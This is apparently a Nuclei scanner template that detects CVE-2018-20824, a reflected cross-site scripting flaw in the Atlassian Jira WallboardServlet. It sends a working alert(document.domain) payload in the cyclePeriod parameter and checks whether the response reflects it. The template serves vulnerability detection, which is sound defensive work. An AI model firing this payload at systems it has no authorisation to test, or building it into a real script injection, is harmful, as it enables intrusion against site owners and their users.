id: CVE-2018-20824

info:
  name: Atlassian Jira WallboardServlet XSS
  author: madrobot,dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69238
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20824
    cwe-id: CWE-79
  tags: cve,cve2018,atlassian,jira,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - (?mi)timeout:\salert\(document\.domain\)
        part: body